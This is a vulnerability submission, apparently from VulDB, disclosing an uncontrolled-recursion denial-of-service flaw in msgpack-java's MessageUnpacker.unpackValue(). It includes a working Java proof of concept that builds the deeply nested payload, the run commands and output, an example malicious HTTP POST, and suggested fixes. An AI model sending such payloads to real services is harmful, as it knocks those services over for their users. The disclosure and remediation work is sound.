Submit #918500: msgpack msgpack-java <= 0.9.12 Uncontrolled Recursioninfo

Titlemsgpack msgpack-java <= 0.9.12 Uncontrolled Recursion
Description| Field | Value | |-------|-------| | Project | msgpack-java | | Repository | https://github.com/msgpack/msgpack-java | | Affected Version | 0.9.12 (and earlier) | | Component | `msgpack-core` | | Class | `org.msgpack.core.MessageUnpacker` | | File | `msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java` | | Vulnerable Line(s) | 646–663 | | Severity | Medium | | CVSS 3.1 Score | Base Score: 5.3 (MEDIUM) — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` | | CWE | CWE-674 (Uncontrolled Recursion) | --- An unauthenticated remote attacker sends a small payload of deeply nested `fixarray[1]` structures to trigger a `StackOverflowError` in the deserializing thread. `StackOverflowError` extends `Error`, so `catch (IOException)` and `catch (MessagePackException)` do not intercept it and the request fails. Availability is Low: the error is recoverable, the worker thread stays alive, and a top-level `catch (Throwable)` survives it. No data is read or modified. --- ## Vulnerability Description `unpackValue()` deserializes recursively. For ARRAY and MAP containers it calls itself per element with no nesting depth limit: ```java // MessageUnpacker.java:646-663 case ARRAY: { int size = unpackArrayHeader(); Value[] array = new Value[size]; for (int i = 0; i < size; i++) { array[i] = unpackValue(); // ← recursive, no depth limit (line 650) } return ValueFactory.newArray(array, true); } case MAP: { int size = unpackMapHeader(); Value[] kvs = new Value[size * 2]; for (int i = 0; i < size * 2; ) { kvs[i] = unpackValue(); i++; // ← recursive (line 658) kvs[i] = unpackValue(); i++; // ← recursive (line 660) } return ValueFactory.newMap(kvs, true); } ``` The minimal payload is a sequence of `0x91` (fixarray[1]) bytes terminated by `0xc0` (nil): ``` Payload = 0x91 × N + 0xc0 (N + 1 bytes) ``` --- ## Root Cause `unpackValue()` recurses for each ARRAY/MAP element with no depth counter, recursion guard, or configurable `maxNestingDepth`. `UnpackerConfig` has `stringSizeLimit` and `binarySizeLimit` but no nesting-depth control. `StackOverflowError` is an `Error`, so typed handlers miss it, though `catch (Throwable)` recovers. --- ## Impact Denial of service via a recoverable per-request deserialization failure. - Escapes typed catch blocks: `catch (IOException)` / `catch (MessagePackException)` miss the `StackOverflowError`. - Recoverable: the worker thread survives, the stack unwinds cleanly, and frameworks with `catch (Throwable)` recover fully. Impact is a per-request failure, not thread-pool exhaustion. - Minimal payload: crash depth ≈1,500 with `-Xss512k` (1,501-byte payload) and ≈11,000 with the default stack (≈11 KB payload), both within typical HTTP body limits. --- ## Affected Code ```java public ImmutableValue unpackValue() throws IOException { MessageFormat mf = getNextFormat(); switch (mf.getValueType()) { case ARRAY: { int size = unpackArrayHeader(); Value[] array = new Value[size]; for (int i = 0; i < size; i++) { array[i] = unpackValue(); // LINE 650: RECURSIVE, NO DEPTH LIMIT } return ValueFactory.newArray(array, true); } case MAP: { int size = unpackMapHeader(); Value[] kvs = new Value[size * 2]; for (int i = 0; i < size * 2; ) { kvs[i] = unpackValue(); i++; // LINE 658 kvs[i] = unpackValue(); i++; // LINE 660 } return ValueFactory.newMap(kvs, true); } } } ``` --- ## Proof of Concept **Environment:** OpenJDK 25.0.2, macOS; msgpack-core 0.9.12 (built from source, commit ca3fa54c). **Payload:** `0x91 × N + 0xc0` (N nested `fixarray[1]` + trailing `nil`). A single `unpackValue()` on the nested payload throws `StackOverflowError` with the recursive frame pattern `unpackValue (line 650) → unpackValue (line 650) → …`. A flat array of 1,000,000 elements unpacks fine, so nesting depth (not size) drives the crash. The error escapes `catch (Exception)` but is caught by `catch (Throwable)`, after which the thread continues (basis for A:L). ### POC Source **File:** `poc-project/src/main/java/org/msgpack/poc/Poc3_UnpackValue_StackOverflowDoS.java` ```java package org.msgpack.poc; import org.msgpack.core.MessagePack; import org.msgpack.core.MessageUnpacker; public class Poc3_UnpackValue_StackOverflowDoS { public static void run() throws Exception { byte[] maliciousPayload = buildDeepNestedArray(5000); try (MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(maliciousPayload)) { unpacker.unpackValue(); System.out.println("[NOT VULNERABLE] Processed without StackOverflow"); } catch (StackOverflowError e) { System.out.println("[VULNERABILITY CONFIRMED] StackOverflowError caught!"); StackTraceElement[] trace = e.getStackTrace(); for (int i = 0; i < Math.min(5, trace.length); i++) { System.out.println(" at " + trace[i]); } } } // depth nested fixarray[1] (0x91) + trailing nil (0xc0). Total = depth+1 bytes. static byte[] buildDeepNestedArray(int depth) { byte[] payload = new byte[depth + 1]; for (int i = 0; i < depth; i++) { payload[i] = (byte) 0x91; } payload[depth] = (byte) 0xc0; return payload; } public static void main(String[] args) throws Exception { run(); } } ``` **Build & run:** ```bash MSGPACK_CORE=~/.m2/repository/org/msgpack/msgpack-core/0.9.12/msgpack-core-0.9.12.jar javac -cp "$MSGPACK_CORE" -d poc-project/target/classes \ poc-project/src/main/java/org/msgpack/poc/Poc3_UnpackValue_StackOverflowDoS.java java --add-opens=java.base/java.nio=ALL-UNNAMED \ --add-opens=java.base/sun.nio.ch=ALL-UNNAMED \ -Xss512k \ -cp "poc-project/target/classes:$MSGPACK_CORE" \ org.msgpack.poc.Poc3_UnpackValue_StackOverflowDoS ``` ### Verified Output (`-Xss512k`) ``` [VULNERABILITY CONFIRMED] StackOverflowError caught! at org.msgpack.core.MessageUnpacker.getNextFormat(MessageUnpacker.java:401) at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:619) at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:650) at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:650) at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:650) Depth 1000: OK Depth 1500: CRASH (StackOverflowError) - MINIMUM CRASH DEPTH ``` **Network vector:** ``` POST /api/msgpack HTTP/1.1 Content-Type: application/x-msgpack Content-Length: 1501 \x91\x91\x91...[1500 times]...\xc0 ``` Affected endpoints call `MessageUnpacker.unpackValue()` directly on request bodies. The Jackson integration (`MessagePackParser`) does not call `unpackValue()` for ARRAY/MAP and is unaffected. --- ## Remediation **Option 1 — Add `maxNestingDepth` to `UnpackerConfig` (recommended):** ```java private int maxNestingDepth = 512; // UnpackerConfig field public ImmutableValue unpackValue() throws IOException { return unpackValue(0); } private ImmutableValue unpackValue(int depth) throws IOException { if (depth > config.getMaxNestingDepth()) { throw new MessageSizeException("Nesting depth exceeds limit: " + depth, depth); } // ARRAY/MAP cases call unpackValue(depth + 1) } ``` **Option 2 — Convert to an iterative implementation** using an explicit `Deque` stack, removing JVM-stack usage for nesting. --- ## References - `msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java`, lines 646–663 - CWE-674: https://cwe.mitre.org/data/definitions/674.html - MessagePack array format: https://github.com/msgpack/msgpack/blob/master/spec.md#array-format-family - Similar issue: CVE-2023-1370 (json-smart, unbounded nesting → StackOverflow DoS)
Source⚠️ https://github.com/msgpack/msgpack-java/issues/1015
User
 wshi.24 (UID 98607)
Submission08/07/2026 09:51 (1 month ago)
Moderation09/13/2026 11:00 (1 month later)
StatusDuplicate
VulDB entry403120 [msgpack msgpack-java up to 0.9.12 MessageUnpacker.unpackValue stack-based overflow]
Points0

Do you know our Splunk app?

Download it now for free!